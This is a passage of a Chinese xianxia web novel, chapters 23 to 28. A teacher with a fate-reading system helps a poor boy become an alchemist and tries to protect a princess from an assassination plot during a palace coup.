“当真?那我就不打扰你了。”
陆尘轻咦了一声,转身便要离开。
“等等!你要非这麽想来,本尊也拦不住你。”
苏月仙轻咳了两声又说道。
陆尘哈哈大笑,此时明月恰好。
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第二十三章 青衫
大离王朝,京都药阁。
药阁为横跨五域四海的庞然大物,遍及五域四海的每个角落,是天地间第一等的超级势力,哪怕是那些荒古纪元便流传下来的圣地世家,也都会礼让药阁三分薄面。
全天下所有的炼药师,莫不以成为药阁药师为荣,挤破脑袋参加药阁每一次的炼药师考核。
此时人潮拥挤的药阁之中,陆尘倚靠在二楼的凭栏上,目光向下扫视。
㣉眼之处大多是平平无奇的白色气运,仅有少数是黄色气运,至於再上一层的蓝色,陆尘待了一个上午,也只见过一二人。
当然药阁人流量虽然大,但毕竟各路人马齐聚,单论命格来看,自然是不如白鹿书院这般修行场地来的精纯。
只是陆尘到此来,也并未指望遇见什麽天之骄子,更多是想碰着些炼药坯子,以此来获得系统奖励,成为一名炼药师。
炼药师与炼器师相似,并不以灵气修为论长短,而是有着独属於自己的独特考核方式,大致上来说,能炼出什麽品阶的丹药,就是什麽品阶的炼药师。
修士在天地间已经是万里挑一的存在,而炼药师的存在则更为稀少,哪怕是一名二品炼药师,在大离王朝也足够担任绝大多数势力的客卿长老了,且只会比一般的客卿长老更受重视。
故而许多修行不顺的修士都会半道转去炼药一途,虽说大部分㣉门都难,但也有极少部分如蛟龙㣉海,登上了一条坦然大道。
“又白来一天。”
见屋外天色已晚,陆尘叹了口气,当下便欲离开。
就在他下楼之际,忽地听见门口有着喧闹之声响起。
“以後老子看见你一次,就打你一次。”
只见年不过十七八九的少年被一壮汉搂住,一把摔在门外。
少年衣衫单薄,露出的臂膀上满是淤青。
他跪在药阁门前,哪怕壮汉放下狠话,依旧不肯离开。
周遭的路人们对这一幕已经是见怪不怪,甚至连看热闹的心情都没有。
少年姓王名纪,是槐安巷里穷苦人家的孩子,不知为何,铁了心的想当一名炼药师,哪怕已经被药阁认定为没有炼药天赋,每日却依旧雷打不动的偷溜㣉药阁,只为了能偷学到点东西。
药阁最开始也只不过是将偷溜进来少年驱逐出去,但久而久之,也被少年整的十分烦躁,不再好言相劝。
“求求您了,再给我一次机会吧,我绝对不会再搞砸了。”
王纪跪在地上,不要命的磕起头来,鲜血很快就从其额头处流出,将那粗布衣裳染的鲜红。
壮汉看到少年这般模样,心中已经有着丝丝缕缕的杀意涌现。
只是碍於药阁名声,并不敢在此处动手。
“这样吧,你今日先回去,过两日我替你引荐方镇大师,若这次再没过考核,以後可不许再赖在我这了。”
壮汉笑眯眯的说道。
“真的吗?”
听到壮汉的话,少年喜出望外,当即又向壮汉磕了三个响头。
“大恩大德,王纪没齿难忘!”
大恩大德?早点送你去投胎,也算大功一件吧。
壮汉呵呵一笑,挥手示意少年离开。
“等等,你小子,怎麽又跑来麻烦李总管!”
就在少年欣喜着想要离开时,竟被人抓住衣领恶狠狠的一甩,猛的又跌倒在地。
“堂哥……”
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王纪看清来人,刚张嘴想要说些什麽,便被来人恶狠狠的又扇了一耳光。
“你是不是见不得我们家族出个炼药师啊?非得把我拖下水你才甘心吗?”
来人名唤王虑,是王纪的族中兄长,当年两人一同参加药阁考核,被家族寄予众望的王纪竟然名落孙山,而王虑则是出乎众人意料的通过考核,成为药阁的亲传学徒。
他猛的一脚又踹在王纪的胸口处,极为愤怒的吼道。
王纪惨叫一声,身体忍不住的蜷缩起来。
“对不起……但我真的……很想成为炼药师。”
王纪嘴中鲜血吐出,断断续续的哽咽说道。
“你没这个
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实力就不要痴人说梦了!你这样三番五次的偷入药阁,谁不会想是不是我将你偷偷带入进去的?”
王虑丝毫没有因王纪的这副惨状而心生什麽怜悯,依旧大声质问。
“对不起……”
少年愧疚的低下头,身体却仍因剧烈的疼痛而蜷缩着。
“哎,你我同出一族,我若有朝一日成为药阁药师,亦是你之荣光,你又何必要来害我呢?”
王虑叹息一声,神情竟逐渐趋於平静,他将少年扶起,又轻声说道:“好弟弟,别让我为难了,你以後千万别来药阁了,等我成为药阁药师,也会好好孝敬叔叔婶婶的。”
他轻抚少年後背,神情充满关切,像是少年真真正正的兄长一般。
少年低着头,沉默不语。
良久后,他才抬起头来,
却已是满脸泪痕。
“好,我不会再来了。”
王纪声音颤抖的这般说道,他的眼神忽地黯淡下来,像是摇曳的烛火终於被风熄灭了一般。
“这才是我的好弟弟啊,你先回去吧,以後可千万别来了。”
听到少年肯定的答覆,王虑松了口气一般,抑制不住的喜笑颜开。
他拍了拍少年的背示意其离开,而後转向李总管。
“让您见笑了,这孩子以後不会再来了。”
王虑露出一副谄媚笑意,生怕李总管有任何的不满意。
李总管点了点头,眼中却闪过一丝轻蔑神色。
那少年纠缠个没完没了确实让人厌烦,但眼前这家伙却同样让人不喜。
“等一下。”
就在少年身影落寞,摇摇晃晃的离去时,忽地有一道声音在其身後响起。
少年转头望去,只见有位身着青衫,打扮像教书先生的男子向自己招手。
“我有话想与你说。”
青衫男子笑容和煦的说道。
少年微微一愣,除开自己的母亲外,他还是第一次在别人脸上见到这样的笑。
该如何形容的。
像是阴暗巷子里忽地打进的光。
没来由的,少年鼻子发酸,有些想哭。
第二十四章 将死之人
陆尘走到少年面前,俯下身轻声问道:“你当真愿意放下炼丹之途吗?”
少年低着头,沉默不语。
他的双手紧握成拳,有鲜血从拳头的缝隙中流出。
王虑在陆尘身後死死的瞪着陆尘,面色难看。
“当真是狗拿耗子多管闲事。”
他暗骂一句,并不敢出声。
“你无需考虑别人,遵从本心即可。”
见少年低头沉默,陆尘又轻声说道。
“我想……但我可能确实没有这个天分。”
良久后,少年抬起头,声音有些微颤着说道。
“为何这般认为?”
陆尘又问道。
“母亲积攒半生的钱都拿来给我准备丹药的药材了,原本只要炼出一品丹药,就能成为药阁的学徒……但我却搞砸了。”
提到自己的母亲时,少年眼角闪着泪光,脸上满是愧疚之意。
“可能我确实没有这个天分,这些日子给阁里也确实添麻烦了。”
王纪好像想明白了些什麽,转向阁前站着的总管,向其深深行礼。
总管点了点头,先前的杀意早就烟消云散,他也知道王纪是个可怜孩子,这才会容许他偷溜进药阁多次。
“先生,劳您牵挂了,母亲年事已高,我也该懂点事了。”
王纪又学着私塾里学童的模样向陆尘行礼作揖,虽说并不标准,甚至有些滑稽,但却莫名的令人感受到一股十分诚挚的谢意。
“你要的丹药药材,我现在就可以替你准备,你难道不想再试一试吗?”
陆尘又问道。
“哪怕是方镇大师,也不可能从不失手。”
他补充说道。
“李总管,劳烦替我将那几味药材取出,我想让这孩子试试。”
还未等少年作何应答,陆尘又转头向总管说道。
无论是大离皇室还是白鹿书院,皆是京都药阁的大客户,而陆尘傍上冷月宫大腿一事早已在这其中传开,故而李总管听闻后,并未有丝毫的犹豫,毕恭毕敬的让人将那些药材取出,并且丝毫不提要收多少灵石。
“能否借药鼎一用?”
陆尘又笑了笑说道。
“陆夫子有何要求尽管提便是,这孩子毅力惊人,若不是碍於药阁规矩,我都想直接收他为学徒了。”
李总管连连点头,稍一挥手,便有一青铜质的古朴大鼎飞出,落在陆尘身前。
“就在此炼吧。”
陆尘长袖轻拂,那几味药材便悬在药鼎的上方,散发着浓浓的药香。
“先生,您还是别为难他了,他就是个废物,只会白白浪费这些药材。”
在少年还未应答之前,王虑赶忙站了出来,一脸谄媚的对着陆尘说道。
“你的意思是你不会浪费?要不你来?”
陆尘眉毛轻挑,笑意玩味。
“我……”
王虑愣了一愣,属实没想到陆尘会这般说话。
“既然你也想试试,那你二人一同来炼制此丹,谁炼的好,谁便可得一上等药鼎。”
听到这话,王虑的眼神立马变得无比炽热,要知道一尊药鼎价值千金,哪怕是寻常的一品炼药师,也只能借着药阁的药鼎炼制,而未能有独属於自己的药鼎。
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“如何?”
陆尘转向王纪问道。
“先生为我准备这些药材,於我而言已经是天大的恩德,王纪不敢奢求更多。”
少年十分诚挚的说道。
王虑则冷哼一声,只觉得少年装模作样装多了,天大的机会摆在面前都把握不住。
“无妨,这对我来说并非什麽重要的东西。”
陆尘转头看向李总管,总管会意,立马又搬出一尊药鼎。
此时亦是有诸多人在药阁之外齐聚,只为看看那少年是否真能炼制出丹药。
他们大多对少年的家世有所听闻,知晓他出身贫寒,又於幼时丧父,只留母亲一人拉扯着长大。
族中人对母子二人也是冷眼相待,不曾分毫。
直到少年展现出极高的炼药天赋,族中人这才换了一副嘴脸,眼巴巴的上门拜访。
就在众人都以为寒门要出个贵子时,却没想到被寄予众望的少年考核失败,连成为学徒的资格都没有。
这一来二去,母子便又成了族中人唾弃的对象,甚至要比以往更严重。
少年却仍是不死心,总会偷溜进药阁想要学到些什麽东西,直到今日被族中堂哥打击一番,又想到母亲年事已高,这才下定决心要放
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下这条道。
“你说这孩子真能成吗?”
“我看不太行……”
“要我说,穷苦人家的孩子就老老实实找个铺子当学徒得了,做什麽炼药师的富贵梦……”
周遭的嘈杂声音㣉耳,少年的眸子越发通红。
他抬头看向陆尘,虽并未说话,但陆尘却能明白他想要说些什麽。
“你可以的。”
陆尘肯定的点了点头,笑容和煦。
“来来来……买定离手买定离手……”
有好事者竟在一旁开起了赌局,只是少年的赔率虽高,却并没有多少人愿意在其身上下注。
相反下注王虑之人极多,毕竟王虑早已经是药阁学徒,对於这用来选拔考核的丹药,想必早就是得心应手了。
“一千块灵石,压左边那孩子。”
就在众人议论纷纷之际,忽地有一道极为清脆的声音在不远处响起。
直到这时,众人才发觉有一辆极为华贵的车辇不知何时停在药阁外。
车辇的帘子掀开,衣着华贵的女子在仆人的搀扶下缓缓走了下来。
女子本就极为貌美,一身衣着打扮又极为华贵,更衬得她贵气逼人,令人丝毫不敢直视。
她的目光落在陆尘身上,却没想陆尘看着自己,双目有些失神。
“还以为是何高风亮节之人,却没想也是个俗人。”
见陆尘这般目光,女子原本想要与其交谈一两句的心瞬间便荡然无存。
这般目光她在太多人身上见着过了。
“见过公主殿下。”
李总管恭敬行礼,周遭人这才恍然大悟,意识到眼前女子是皇室公主,当即下跪行礼。
陆尘则回过神来,微微点头。
他自然不是因为女子容貌失神,与苏月仙相较而言,女子的容貌反倒是显得平平无奇,还不足以让陆尘呆滞。
让陆尘失神的点在於女子头顶那旋绕着的一团黑气,如乌云一般密布。
黑,将死之人。
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第二十五章 药尊
【姓名:赵栀韵】
【年龄:十九】
【境界:三转上阳境】
【命格:黑色——将死之人】
【生平:皇家贵胄,长公主的千金之躯,自小受万千宠爱,修行天赋又极为惊人,身负古之真凰血脉,踏上修行路后势如破竹,破境速度之快,为千年罕见,被大离皇帝认为“大离将兴,将兴在栀韵”,长公主亦不负所托,为真正的天纵之资,直到年十九时遭人设局,外出宫时被暗杀,香消玉殒。】
【近期遭遇:听闻三皇子言夜间有花灯游街,故欣然出宫,却不知有一场暗杀局早已做好。】
眸子里的雾气缓缓褪去,陆尘皱了皱眉,一时间不知道自己该不该管这闲事。
与红色的大凶之兆不同,身负黑色命格之人几乎无药可救,至少陆尘这些日子见着的每一个黑色命格之人,哪怕陆尘刻意提点,却依旧避不开必死之劫。
但以赵栀韵的天赋,如若避开这死劫,最起码也有个紫色气运,一方至尊的命格,甚至更大可能是金色气运,陆尘自然不愿轻易错过。
“不必如此多繁琐礼仪,大家快起来吧。”
赵栀韵虽出身高贵,却并无多少架子,俯身将一跪倒的老妪扶起。
而周遭的人也纷纷起身,看向女子的神色万分恭敬敬佩。
“早就听说长公主宅心仁厚,如今来看,果真如此啊。”
“长公主真是菩萨心肠,前年妖兽暴动不知死了多少人,也是长公主每日在城外亲自施粥救民……”
各般声音响起,大多是在夸赞女子宅心仁厚,有菩萨心肠。
陆尘虽远居白鹿书院之中,但对於这位长公主的事迹,却依旧有所耳闻。
相较於诸多不食人间烟火的修行之人,长公主身上的烟火气确实多的多。
他看向赵栀韵,嘴巴微张,想要说些什麽。
赵栀韵却以为陆尘是个登徒子,当下并不愿理会他,而是把目光放到王纪王虑两兄弟上。
此时二人都已唤出灵火,全神贯注的控制掌心火力。
药香气自炉鼎之中溢出,随风而飘散。
虽说王纪的神情凝重,额头上满是大汗,但陆尘并没有丝毫的担忧。
因为眼前这个衣衫褴褛的少年,不日後,定要名震整个大离。
【姓名:王纪】
【年龄:一十六】
【境界:锻体三层】
【命格:紫色——一方至尊】
【生平:本出生炼药世家,祖上有五品炼药师,曾风光无限,只是到王纪这一脉时,早已衰败,家族中再无人有炼药天赋,其父终生痴迷炼药,想要复现祖上荣光,却始终不得其法,壮年猝死,王纪继承父亲遗志,欲成为药师,却在药阁考核失败后一蹶不振,直到年近三十,因偶然机会救下一名修士,被引荐入药阁之中,此後犹如潜龙离渊,腾飞而起,终成一方药尊。】
【经期遭遇:因屡次偷入药阁偷学,引起总管动杀心】
当时陆尘自药阁走出,正巧就见到少年被其族中兄长踩在脚底,打开武道天眼查看时,着实是吓了一跳。
按照武道天眼的描述,王纪年三十时才真正有人教导炼丹,浪费十多年光阴,却依旧能成为一方药尊,这般天赋,着实有些吓人了。
若真令其年少之时入药阁,未来成就恐怕要比这药尊还要高。
要知道整个大离也不过只有一位四品炼药师,可想而知炼药师进阶有多难。
至於为何少年当时药阁考核失败,陆尘也从王虑的生平之中察觉了原因。
【姓名:王虑】
【年龄:一十七】
【境界:锻体四层】
【命格:白色——平平无奇】
【生平:生身落寞的炼药世家,年十七时与其族弟一同参加药阁选拔,因其替换族弟炼药药材,导致其选拔失败,而王虑堪堪入药阁成为学徒后,因迟迟未能通过一品炼药师考核而退出药阁,度过平凡一生】
【近期遭遇:因其族弟常偷入药阁,害怕其牵连自己】
“同宗兄弟,竟要如此相害。”
对於王虑所为,陆尘未免觉得过於愚蠢,本来以王纪的天赋心性,如其未遭王虑陷害,早该腾飞而起,而王虑身为其族兄,自然可以跟着沾光,总不至於像武道天眼看到的那般庸庸碌碌过完一生。
陆尘自顾自的叹了口气,将目光又移向二人。
此时灵火越发微弱,二人都屏气凝神,等待丹药出炉的那一刻。
“成了,我成了!”
王虑的脸上喜色浮现,整个人眼中闪着十足亮光。
一颗散发着浓郁药香的蓝色丹药缓缓出炉,落在王虑药瓶之中。
丹药有九品之分,而每一品中又有四等,白色为下等丶绿色为中等丶蓝色为上等,金色为极品。
而王虑所炼制的为上等品质丹的丹药,在学徒中已属十分难得。
他喜笑颜开的走到陆尘身前,似乎那炉鼎已是他的囊中之物。
“先生,那药鼎……”
王虑小心翼翼的问道。
“若你炼制的更好,自然会给你。”
陆尘说道。
“这麽多人看着,您可千万别食言了。”
王虑嘿嘿一笑,又转为看向王纪。
这些日子王虑受药阁培养,炼药之术已是突飞猛进,这才得以炼制出绿色品质的丹药。
而王纪不过是野路子出身,哪怕炼成了,也不过是白色或绿色丹药,自然比不得自己上等品质的蓝色丹药。
此时王纪面色十分难看,满头大汗,对灵火的控制竟是显得十分勉强。
“还好没贪心去压这孩子……”
“龙生龙凤生凤,老鼠的儿子会打洞,他那倒霉老爹一辈子都没当上炼药师,儿子还在这痴心妄想。”
议论之声此起彼伏,皆是对那面色难看的少年指指点点。
人性虽不能说本恶,但自是有其劣根性长存,相较於看人从泥泞之中挣扎而出,普罗大众更喜欢的自然是弱者恒弱,泥泞者更陷深潭。
“还能押注吗?”
陆尘转头面向开盘之人。
“您是要……”
“压一千,王纪。”
陆尘笑了笑说道。
“可以的可以的!”
那人原些还十分紧
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张,听到陆尘这话,当即又是喜笑颜开起来。
长公主侧目看向陆尘,对其敌意也是缓缓消散。
众人见陆尘在这关头白白取出一千灵石,都是面面相觑,只觉得这夫子脑子是不是出了什麽问题,但又不敢直言,只能是你看着我我看着你,似笑非笑的。
就在人群一片寂静之时,少年面前的炉鼎砰的发出一声巨响,若不是陆尘出手阻拦,指不定要伤及些路人。
金色的丹药自其中飞出,十分乖巧的停在少年身前。
人群中更是一片死寂,没有半点声响。
长公主看向陆尘,微微点了点头。
…………
东域西南,大离皇宫。
似乎是听到了什麽声响,原些还认真批阅奏摺的男子停下手中笔,缓缓站了起来。
他身上穿着火红色的龙袍,不怒自威。
大离属火德,皇室所修行心法,也大多为火属心法。
“前辈既然来了,倒不如出来一见。”
大离皇帝负手而立,朗声而语。
“陛下遭世俗杂务缠身,竟还有如此感知,佩服佩服。”
一声乾笑从阴影之处响起,只见大殿的角落,有位黑袍的老者缓缓走出。
他拄着一根木枝拐杖,面容苍老,身躯佝偻,看着像行将就木的垂死老人,但周身散发的灵气却异常恐怖,令大殿之中的禁卫皆控制不住的下跪。
大离皇帝袖袍一挥,将这股威压散去。
“原来是火德宗的前辈,不知突然来访,有何贵干。”
他眸子微缩,冷声而语。
皇宫禁地,对方不请自来,还外放灵力威压,已经算得上是十足十的挑衅姿态了,大离皇帝自然不会给什麽好脸色。
火德宗位於大炎皇朝,亦是一方大势力。
“百朝大战将至,陛下可知?”
老者反问道。
“自然知道。”
百朝大战,由东域的六大圣地所举行的选拔考核,届时东域境内的所有皇朝王朝皆会派人参加,优胜者将直接成为六大圣地的亲传弟子,从此踏上一条坦途,故而称此为百朝大战。
而皇朝与王朝名额皆是有限,相较起来,皇朝的名额要多的多。
“我火德宗天骄辈出,大炎皇朝的名额恐怕不够分了,故而老夫前来,是想借大离名额一用,当然我火德宗也不会亏欠陛下,愿意以一本地阶火属心法以及一道异火来换取两个名额。”
老者呵呵一笑说道。
“两个?我大离总的便只有三个名额,前辈莫不是说笑了。”
大离皇帝冷笑一声,面色凝重。
“老夫来不是与陛下商量的,是通知。”
老者轻咳一声,笑了笑,露出一口老黄牙。
“这把龙椅,该换个人坐了。”
……
与此同时,皇宫禁地之内,身披银袍的男子穿过一条漫长而又泥泞的古道,终於见到了一缕光亮。
“赵氏古火,天凰炎,果不欺我。”
见着那漂浮着的赤红色火焰,男子眼神中满是炽热,像是长途跋涉的旅人终於见到了清泉一般。
第二十六章 花灯游
“李总管,你觉得这孩子可否能入你药阁当个学徒呢?”
陆尘将目光转向同样沉默的李总管,轻声笑道。
“极品丹药……当然可以!”
李总管回过神来,顿时便是喜笑颜开,发掘有炼药天赋之人,本就是其职责,如今白白有个炼制出极品丹药的天才摆在自己面前,他自然不会错过。
“王纪小友若是愿意,今日便可入阁。”
李总管小步走到王纪身前,语气变得十分平和,与先前完全两样。
王纪转过头看向陆尘,见陆尘微微点头后,这才又向李总管点头。
“夫子……”
他走到陆尘面前,眼眶通红,直到现在,王纪自己也还未反应过来,自己竟然炼出了极品丹药,且将要入自己心心念念的药阁修行。
“无需多言,你切记,若心有所念,就不要轻易言弃,无论是什麽,都是这般。”
陆尘揉了揉少年脑袋,轻声说道。
“谨记夫子教诲。”
明明是值得欣喜之刻,少年却忍不住的眼角流泪。
差一点。
若是夫子没有叫住自己的话,那自己恐怕真要放弃炼药一途了吧。
多年执念也变成了空。
“去吧,若有要事,可以去白鹿书院寻一位名叫陆尘的夫子,药鼎你在药阁自己挑一鼎喜欢的便可。”
陆尘又说道。
“若真有要事,不若来公主府,倒是离得近些。”
长公主亦是缓缓开口,将一块令牌交到少年手中。
此时围观众人皆是震惊不已,一时间不知道该说些什麽。
王纪郑重行礼数次,这才依依不舍的入阁。
而王虑则依旧呆愣在原地,仍是接受不了眼前一幕。
开盘之人更是仿若天塌了一般,忐忑不安的看向陆尘与长公主。
二人各自压了一千灵石,按照这赔率,自己倾家荡产恐怕也输不起啊。
所幸二人都并未计较此事,相互攀谈起来。
“夫子若是无事,今夜不如同我去长安街一游可好?”
长公主笑吟吟的说道,笑声清脆,有如山间缓流的清泉,她的眸子好似是一汪秋水,落在人身上时,便似落日馀晖一般令人安心。
与传闻中一般,眼前的女子一举一动,一言一行,都令人如沐春风。
“公主殿下是有何要紧事吗?”
陆尘轻咦一声,有些心不在焉的问道。
这倒并不能怪陆尘敷衍,只是系统的机械声音恰好在此时响起,令其有些分神。
【夫子之责行使完毕】
【宿主将获得大量回馈奖励】
【一:百年炼药经验】
【二:太古九龙鼎(太古纪元所成之物,以九龙之魂溶於鼎中,使之可淬炼万物】
【三:幽魂白炎(诞生於古战场的奇异火焰,由万千幽魂之怒火而燃起,既可用之对敌,也可用之炼药)】
一瞬之间,庞杂繁琐的炼药知识如海潮般涌入陆尘的脑海之中,饶是以陆尘如今的修为,在那一瞬间也忍不住的有些头疼。
而灵海之中,亦是悄然浮现一尊巨鼎,其高约三尺,通体是古朴好似落满尘灰的青铜颜色,其上雕刻着九道龙纹,或怒吼丶或缠绕丶或蛰伏丶或腾飞,皆是栩栩如生,好似下一刻就要从其上显现而出。
其周身又有一道白色火焰,摇曳着好似是飘荡着的孤魂,哪怕是静静的在灵海之中浮尘,陆尘依旧可以从其上感受到一股极为狂暴愤怒的气息。
“终於是有两件灵物傍身了。”
陆尘在心底自顾自的念道。
修行之人不外乎四字,法财侣地。
法指的是修行之法,哪怕天赋再佳,根骨再好,若无一个法字,亦是寸步难行。
侣是同道之人,其可以是师,亦可以是友,相伴大道而行。
地则是洞天福地,灵脉奇山,在灵气充沛的洞天福地修炼,自然要比那些灵气稀薄之地好上千百倍,这也是为何宗门书院大多傍山而立。
修行亦可称为修仙。
仙字何解?
山人而已。
修行之人大多长居於灵气充沛的高山之上,那麽自然是所谓的山上人,也就是世俗所说之仙人。
至於那个财字,更是重中之重。
如心法丶如法宝丶如灵器丶如灵物丶如符籙丶如丹药,皆离开这一个财字。
而这九龙鼎与幽魂白炎,便属於财中的灵物一类,若是将其换算成灵石,那更是有价无市。
陆尘原本也是个几近身无分文的主,浑身上下也不过百块灵石,直到自己有了《太上开天经》的修行法子后,将那本《大炎焚心》暗中拍卖出去,这才一夜暴富。
“确是有一二事想与夫子相谈,但若夫子有要事在身,栀韵便不叨扰了。”
赵栀韵浅笑而语,声音轻柔,好似是春风拂过一般令人心旷神怡。
“既是长公主相邀,陆尘自然不敢推辞。”
陆尘将脑海中繁杂的炼药知识安抚下来后,亦是笑道。
其实答应下赵栀韵的相邀是有些危险,毕竟其身负黑色气运,相当於已经被武道
天眼判了死刑。
再加上其本就是一转上阳境境界,暗中肯定也有高手相护,就这还死在这场暗杀局中,可显而知做局之人下了多大
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的血本。
而陆尘之所以愿意冒这个险,原因无外有三,一则是赵栀韵气运不凡,身负远古血脉,若能渡过此劫,必定是紫色乃至於金色气运,二则是陆尘也想试试看,所谓将死之人的黑色气运到底能否被修改。
至於三,则是因为赵栀韵确实是心有苍生之人,在前两点的加持下,陆尘这才下定决心要去管这一杂事。
三皇子……
“公主殿下和三皇子相熟吗?”
二人相伴而行,似乎是怕被人叨扰,赵栀韵更是让随行之人散去。
明月高悬,有焰火冲天而起,绚烂如星辰。
远处传来喧闹嘈杂的声音,却并不令人厌烦。
二人漫步到长安大街旁的长桥上,看着花灯自溪水直流。
今日是花灯游街之日,长安大街上人满为患,热闹异常。
桥边亦是有来往诸多人,嬉笑着,喧闹着,或看水中月影,花灯,或看天上焰火,星辰。
陆尘心中却有些凝重,这般人潮拥挤之地,想要不动声色的除掉一位上阳境修士,几乎不太可能,除非对方境界高的离谱。
“三弟吗?我与之虽非一母同胞,但自幼一块长大,自然相熟。”
赵栀韵对陆尘所问虽有些疑惑,但依旧坦言道。
陆尘心中呵呵一笑,果真还得是自己人动起手来才是真的狠。
楚星宇是这般,王虑是这般,这三皇子,也是这般。
“夫子想要与我三弟认识吗?”
赵栀韵有些疑惑的问道。
“倒不是,只是……”
陆尘说到此处,又顿了一顿。
“夫子但说无妨。”
赵栀韵见陆尘犹豫模样,轻声说道。
“你和他有何利益冲突吗?”
陆尘又问道。
听到陆尘此言,赵栀韵眉头微蹙,略微思索起来。
“我与三弟向来安好,并未有何冲突,若非要说的话,兴许是父皇私下曾与我说,想要将皇位传於我,而原本皇位的继承人应是三弟才对。”
长公主想了想说道。
“问题或许就在此了,人心难测,公主还请小心。”
陆尘面色有些凝重说道。
赵栀韵愣了愣神,双方都是聪明人,自然知道彼此是何意。
“夫子是听说些什麽吗?”
“小心!”
陆尘还未应答,便猛的抓住赵栀韵手腕,当下也顾不得丝毫的风度,将之往怀中一拉,同时手作剑指,一道凌厉的灵气急掠而出,袭向突然出现的那道黑影。
第二十七章 登高之人
一击未中,那黑影竟是直接跳入水中,化作一条游鱼,当即便消失的无影无踪。
一切都在发生在瞬息之间,甚至於那黑影消失,赵栀韵也未回过神来。
此时美人在怀,兴许是因隔得太近,一股清香沁入陆尘心脾,细长柔顺的长发亦是拂过脸颊,隐隐的有一股热气缭绕。
“事出紧急,多有得罪,还望公主见谅。”
赵栀韵回过神来,轻挣脱出陆尘怀中。
陆尘老脸一红,赶忙一脸正经的说道。
“无妨,刚才那是……”
赵栀韵摇了摇头,并未在意这点细枝末节,而是问到那道黑影。
“刺客,修为虽然没有多高,但身法极好,而且刚才有一道白光闪过,似乎是把柄匕首,那匕首位阶极高,我从其上感受到窒息之感,这才反应过来。”
陆尘皱了皱眉说道。
难怪,难怪行凶䭾要在此处杀人,以刚才那黑影的手法,若其一击即中,而後自水中远遁,常人根本难以追查。
“外界皆说夫子是靠冷月宫才入的白鹿书院内院,如今看来,是夫子藏拙了。刚才那刺客袭击,我竟然毫无察觉。”
赵栀韵脸色有些苍白,自己已经是上阳境界,在大离王朝之中可称的上最顶尖的一批修士,竟然连有刺客接近都未能察觉。
“怪不得公主殿下,那刺客身法确实诡异,若不是那匕首气息,我也不会察觉到。”
陆尘顿了顿说道。
“走,此地不宜久留。”
武道天眼之下,赵栀韵的命格依旧是黑色,依旧是将死之人。
与陆尘以往所遇见的黑色命格一般,哪怕陆尘帮其避过一劫,依旧会有新的死劫出现,几乎不可解。
【生平:在宫外遭刺杀,知晓宫外危机四伏,欲回宫,回宫路上遭刺身亡】
【近期遭遇:花灯游街遭人刺杀,幸免於难,正欲回宫】
“去哪?”
赵栀韵此时也不再多问,不知为何,她已经对陆尘有股莫名的信任。
“白鹿书院。”
陆尘想了想说道。
既然回宫之路危险,自然没必要再冒这个险。
“好。”
赵栀韵也未过多犹豫,当即跟着陆尘便向白鹿书院的方向而行。
此时长安大街上依旧人潮汹涌,喧闹非常,花灯随流水而落,一切好像一如往常。
明月洒落,陆尘心中却有些不好的预感。
皇宫外能这般对皇室最看中的长公主动手,皇宫内的情况恐怕也不会好到哪去,只怕会是另一个火坑。
二人还未走出多远,身後猛的炸出一声巨响,只见皇宫处,冲天的火光升腾而起,化作一道由火焰凝聚而成的巨龙,盘旋於整个皇宫之上。
两道身影腾空而立,两相对峙。
其中一人站立在那巨龙之上,身穿火红长袍,正是当今大离天子,赵云澜。
而另一位则是身着黑袍的白须老䭾,手中拄着木质拐杖,虽看着十分苍老,但周身灵气却恐怖的吓人,丝毫不弱於赵云澜。
“父皇!”
赵栀韵回首,见皇宫两人对峙,猛的停下脚步,面露担忧神色。
“夫子,我必须回去。”
她看向陆尘,异常坚定的说道。
“皇宫有龙气与国运加持,同境一战,你父皇近乎无敌,不用担心。”
陆尘皱了皱眉,此时往白鹿书院去肯定是最好的选择,若是往皇宫而去,则无异是主动跳入火坑之中。
两人立於桥头,周遭原本拥挤的人潮如今已是犹如鸟兽一般慌乱散开,尖叫声争吵此起彼伏,巡逻的禁卫们亦是被那火光所震惊,一时间也管控不了局面。
一瞬之间,那欢腾热闹的场景荡然无存,取而代之的焰火与血泪。
赵栀韵看着慌乱四散之人,原来还稍显犹豫的目光此刻也是变得无比坚定。
“多谢夫子相救,但我身为大离长公主,此时皇城有变,百姓流离,更是不能就此离开,一走了之。”
她向陆尘摇了摇头,并不愿随其往白鹿书院而去。
陆尘在心中暗叹一声,有些後悔管这桩闲事了。
“当真?皇宫此时已是龙潭虎穴,若公主执意要前去,恕陆尘辞别。”
他看向赵栀
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韵,轻叹一声说道。
“无妨,夫子於我已经有救命之恩,栀韵也不愿夫子再为我涉险。”
赵栀韵并无丝毫怪罪陆尘的心思,反而是向陆尘郑重行了一礼。
“若栀韵侥幸活命,再报夫子大恩。”
女子眼中闪过一丝悲伤神色,她能感觉出皇宫中那人很强,即便自己父皇占据地利,此时与其交手也显得有些许勉强。
况且以皇宫内外的情况来看,局面肯定不会这麽简单,这绝对是一场蓄谋已久的动乱。
“我同你前去。”
就在赵栀韵转身之际,陆尘又说道。
“既然已经淌了这趟浑水,那就走到底吧。”
陆尘苦笑道。
他之所以愿意管这趟闲事,最初确实是觉得赵栀韵天赋惊人,若其黑色气
运能够安然渡过,定能化作紫色乃至是金色气运。
但除此之外,如今令陆尘愿意走上这一遭,更多还是因为眼前的女子确实如外界传闻一般,心怀黎明百姓。
这种人很难得,在陆尘前世时,这种人就十分稀少了,整个青史也就寥寥数人可以真正的做到这般。
而到了这方修行世界,这种人更是罕见。
毕竟修行之人如登高望远,登的越高,望的越远,见山脚下的黎明百姓便越渺小,久而久之,自然将其当做蝼蚁,随意一脚便可踩死,且心中不会有任何的愧疚。
这样的人很多,陆尘对此也无可厚非,但他不喜欢这般。
这并非说他是什麽大善人,是什麽心怀百姓的大好人。
事实上,陆尘自己是做不到这般的,至少在他看来,眼前百姓都各有其命数,若真丧命於此时,也不过是天命使然罢了。
而正是因为自己做不到这般,陆尘才对那种心怀大义之人越发的钦佩。
赵栀韵,正是这种人。
所以陆尘并不想让她就这麽轻易的死了。
她该活下去,该好好的活下去。
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第二十八章 杀局
临近皇宫的朱雀大街上,除却陆尘与赵栀韵外,此时已是空无一人。
月色照耀下,空旷旷的显得极为寂寥。
陆尘忽地停下脚步,面色稍显凝重。
赵栀韵与其对视一眼,亦是眉头微蹙。
风萧萧瑟瑟而过,无形中好似有着杀气弥漫。
周遭的一切静到了极点,令人忍不住的有些胆寒。
只听轰的一声,便犹如惊雷般打碎了死一般的寂静。
数道恐怖的灵气威压自大街两侧的屋檐之上传出,还未等陆尘二人有所动静,数道黑影便猛的自四面八方袭来。
滔天的赤焰自赵栀韵的掌心弥漫开来,与那些黑影释放的恐怖气息相撞。
